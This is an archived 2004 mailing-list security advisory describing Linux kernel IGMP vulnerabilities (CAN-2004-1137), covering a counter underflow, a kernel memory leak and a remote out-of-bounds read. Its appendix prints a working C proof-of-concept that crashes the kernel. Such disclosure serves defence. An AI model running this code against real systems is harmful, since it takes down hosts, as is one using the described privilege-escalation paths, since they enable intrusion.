Linux kernel IGMP vulnerabilities

From: Paul Starzetz (ihaquer_at_isec.pl)
Date: 12/14/04

  • Next message: secure_at_symantec.com: "Re: Secure Network Operations SNOsoft Research Team [SRT2004-12-14-0322] Symantec LiveUpdate Advisory"
    Date: Tue, 14 Dec 2004 11:31:21 +0100 (CET)
    To: bugtraq@securityfocus.com, <vulnwatch@vulnwatch.org>, <full-disclosure@lists.netsys.com>
    
    

    -----BEGIN PGP SIGNED MESSAGE-----
    Hash: SHA1

    Synopsis: Linux kernel IGMP vulnerabilities
    Product: Linux kernel
    Version: 2.4 up to and including 2.4.28, 2.6 up to and including 2.6.9
    Vendor: http://www.kernel.org/
    URL: http://isec.pl/vulnerabilities/isec-0018-igmp.txt
    CVE: CAN-2004-1137
    Author: Paul Starzetz <ihaquer@isec.pl>
    Date: Dec 14, 2004

    Issue:
    ======

    Multiple locally as well as remotely exploitable bugs have been found in
    the Linux IGMP networking module and the corresponding user API.

    Details:
    ========

    The IGMP (or internet group management protocol) is today's standard for
    delivering multicast functionality to internet hosts. The Linux kernel
    incorporates a base set of the IGMPv2 and IGMPv3 specifications and is
    subdivided into two logical parts:

    - - the IGMP/IP networking module responsible for network level operation,
    that is only compiled into the kernel if configured for multicasting,

    - - the socket API delivering multicasting capabilities to user level
    applications, which is always available on Linux.

    Both parts of the IGMP subsystem have exploitable flaws:

    (1) the ip_mc_source() function, that can be called through the user API
    (the IP_(UN)BLOCK_SOURCE, IP_ADD/DROP_SOURCE_MEMBERSHIP as well as
    MCAST_(UN)BLOCK_SOURCE and MCAST_JOIN/LEAVE_SOURCE_GROUP socket SOL_IP
    level options) suffers from a serious kernel hang and kernel memory
    overwrite problem.

    It is possible to decrement the 'sl_count' counter of the
    'ip_sf_socklist' structure to be 0xffffffff (that is -1 as signed
    integer, see attached PoC code) with the consequence, that a repeated
    call to above function will start a kernel loop counting from 0 to
    UINT_MAX. This will cause a kernel hang for minutes (depending on the
    machine speed).

    Right after that the whole kernel memory following the kmalloc'ated
    buffer will be shifted by 4 bytes causing an immediate machine reboot
    under normal operating conditions. If properly exploited this will lead
    to elevated privileges.

    (2) Because of the bug (1) it is possible to read huge portions of
    kernel memory following a kernel buffer through the ip_mc_msfget() and
    ip_mc_gsfget() (user API) functions.

    (3) The igmp_marksources() function from the network module is called in
    the context of an IGMP group query received from the network and suffers
    from an out of bound read access to kernel memory. It happens because
    the received IGMP message's parameters are not validated properly. This
    flaw is remotely exploitable on Linux machines with multicasting support
    if and only if an application has bound a multicast socket.

    Discussion:
    =============

    (1) It is quite obvious that moving around all kernel memory following a
    kmalloc'ated buffer is a bad idea. However if done very carefully this
    may give a local attacker elevated privileges.

    We strongly believe that this flaw is very easily exploitable on SMP
    machines (where one thread can interrupt the copy loop before the kernel
    gets completely destroyed).

    On uniprocessor configurations the exploitability is questionable since
    there is no other exit condition from the copy loop than a kernel oops
    if we hit a non existing page. If an attacker manages to trick the
    kernel to allocate the buffer just right before the end of kernel's
    physical memory mapping and also manages to place for example a LDT just
    after that buffer, he may gain elevated privileges also on uniprocessor
    machines.

    (2) No special handling is required to exploit this flaw in conjunction
    with bug described in (1). This issue is slightly related to the loff_t
    race discovered by iSEC in August 2004. Please refer to

    http://www.isec.pl/vulnerabilities/isec-0016-procleaks.txt

    for further information about consequences of reading privileged kernel
    memory.

    (3) The last bug described here refers to a remote kernel vulnerability.
    There are several conditions that must be meet for remote exploitation.

    First, the kernel must have been compiled with multicasting support and
    process incoming IGMP packets. Moreover, an attacker must be able to
    send group queries (IGMP_HOST_MEMBERSHIP_QUERY messages) to the
    vulnerable machine.

    Second requirement is an application on the vulnerable machine with a
    bound multicast socket with attached source filter. There are numerous
    applications using multicasting like video conferencing or routing
    software, just to name few. The attacker must also know the IGMP group
    used to perform the attack.

    You can check if your configuration is vulnerable by looking at these
    files:

    /proc/net/igmp
    /proc/net/mcfilter

    if both exist and are non-empty you are vulnerable!

    Since the kernel does not validate the ih3->nsrcs IGMP parameter, the
    igmp_marksources() internal kernel function may access kernel memory
    outside of the allocated socket buffer holding the IGMP message.
    Depending on the relative position of the socket buffer in the kernel
    memory this may lead to an immediate kernel crash.

    Another consequence is that the kernel will spend most of the CPU time
    on scanning useless kernel data right after the buffer if the nsrcs
    parameter is very high. If a continuous flow of prepared IGMP packets is
    sent to a vulnerable machine, it may stop to process other network
    traffic. For an average machine only a moderate IGMP packet flow is
    required. This may lead to serious problems in case of routing software.

    Impact:
    =======

    Unprivileged local users may gain elevated (root) privileges. Remote
    users may hang or even crash a vulnerable Linux machine.

    Credits:
    ========

    Paul Starzetz <ihaquer@isec.pl> has identified the vulnerability and
    performed further research. COPYING, DISTRIBUTION, AND MODIFICATION OF
    INFORMATION PRESENTED HERE IS ALLOWED ONLY WITH EXPRESS PERMISSION OF
    ONE OF THE AUTHORS.

    Disclaimer:
    ===========

    This document and all the information it contains are provided "as is",
    for educational purposes only, without warranty of any kind, whether
    express or implied.

    The authors reserve the right not to be responsible for the topicality,
    correctness, completeness or quality of the information provided in
    this document. Liability claims regarding damage caused by the use of
    any information provided, including any kind of information which is
    incomplete or incorrect, will therefore be rejected.

    Appendix:
    =========

    /*
     * Linux igmp.c local DoS
     * Warning: this code will crash your machine!
     *
     * gcc -O2 mreqfck.c -o mreqfck
     *
     * Copyright (c) 2004 iSEC Security Research. All Rights Reserved.
     *
     * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY* IT IS PROVIDED "AS IS"
     * AND WITHOUT ANY WARRANTY. COPYING, PRINTING, DISTRIBUTION, MODIFICATION
     * WITHOUT PERMISSION OF THE AUTHOR IS STRICTLY PROHIBITED.
     *
     */

    #include <stdio.h>
    #include <unistd.h>
    #include <errno.h>
    #include <sys/socket.h>
    #include <netinet/in.h>
    #include <linux/types.h>

    #define MCAST_INCLUDE 1
    #define IP_MSFILTER 41

    #define IP_UNBLOCK_SOURCE 37
    #define IP_BLOCK_SOURCE 38

    struct ip_msfilter
    {
        __u32 imsf_multiaddr;
        __u32 imsf_interface;
        __u32 imsf_fmode;
        __u32 imsf_numsrc;
        __u32 imsf_slist[1];
    };

    struct ip_mreq_source
    {
        __u32 imr_multiaddr;
        __u32 imr_interface;
        __u32 imr_sourceaddr;
    };

    void
    fatal (const char *message)
    {
        printf ("\n");
        if (!errno)
          {
              fprintf (stdout, "FATAL: %s\n", message);
          }
        else
          {
              fprintf (stdout, "FATAL: %s (%s) ", message,
                       (char *) (strerror (errno)));
          }
        printf ("\n");
        fflush (stdout);
        exit (1);
    }

    int
    main ()
    {
        int s, r, l;
        struct ip_mreqn mr;
        struct ip_msfilter msf;
        struct ip_mreq_source ms;
        in_addr_t a1, a2;

        s = socket (AF_INET, SOCK_DGRAM, 0);
        if (s < 0)
            fatal ("socket");

    // first join mcast group
        memset (&mr, 0, sizeof (mr));
        mr.imr_multiaddr.s_addr = inet_addr ("224.0.0.199");
        l = sizeof (mr);
        r = setsockopt (s, SOL_IP, IP_ADD_MEMBERSHIP, &mr, l);
        if (r < 0)
            fatal ("setsockopt");

    // add source filter count=1
        memset (&ms, 0, sizeof (ms));
        ms.imr_multiaddr = inet_addr ("224.0.0.199");
        ms.imr_sourceaddr = inet_addr ("4.5.6.7");
        l = sizeof (ms);
        r = setsockopt (s, SOL_IP, IP_BLOCK_SOURCE, &ms, l);
        if (r < 0)
            fatal ("setsockopt2");

    // del source filter count = 0
    // imr_multiaddr & imr_interface must correspond to ADD
        memset (&ms, 0, sizeof (ms));
        ms.imr_multiaddr = inet_addr ("224.0.0.199");
        ms.imr_sourceaddr = inet_addr ("4.5.6.7");
        l = sizeof (ms);
        r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
        if (r < 0)
            fatal ("setsockopt2");

    // del again, count = -1
        memset (&ms, 0, sizeof (ms));
        ms.imr_multiaddr = inet_addr ("224.0.0.199");
        ms.imr_sourceaddr = inet_addr ("4.5.6.7");
        l = sizeof (ms);
        r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
        if (r < 0)
            fatal ("setsockopt3");

    // crash
        memset (&ms, 0, sizeof (ms));
        ms.imr_multiaddr = inet_addr ("224.0.0.199");
        ms.imr_sourceaddr = inet_addr ("4.5.6.7");
        l = sizeof (ms);
        r = setsockopt (s, SOL_IP, IP_UNBLOCK_SOURCE, &ms, l);
        if (r < 0)
            fatal ("setsockopt4");

        getchar ();

        return 0;
    }

    - --
    Paul Starzetz
    iSEC Security Research
    http://isec.pl/

    -----BEGIN PGP SIGNATURE-----
    Version: GnuPG v1.0.7 (GNU/Linux)

    iD8DBQFBvsD+C+8U3Z5wpu4RAqhaAKDTGHk3y41KNhQV+RFawIIHlZ23+ACg7uXs
    qsrWw5lR18rlD2BatbUPLAc=
    =s5/E
    -----END PGP SIGNATURE-----


  • Next message: secure_at_symantec.com: "Re: Secure Network Operations SNOsoft Research Team [SRT2004-12-14-0322] Symantec LiveUpdate Advisory"

    Relevant Pages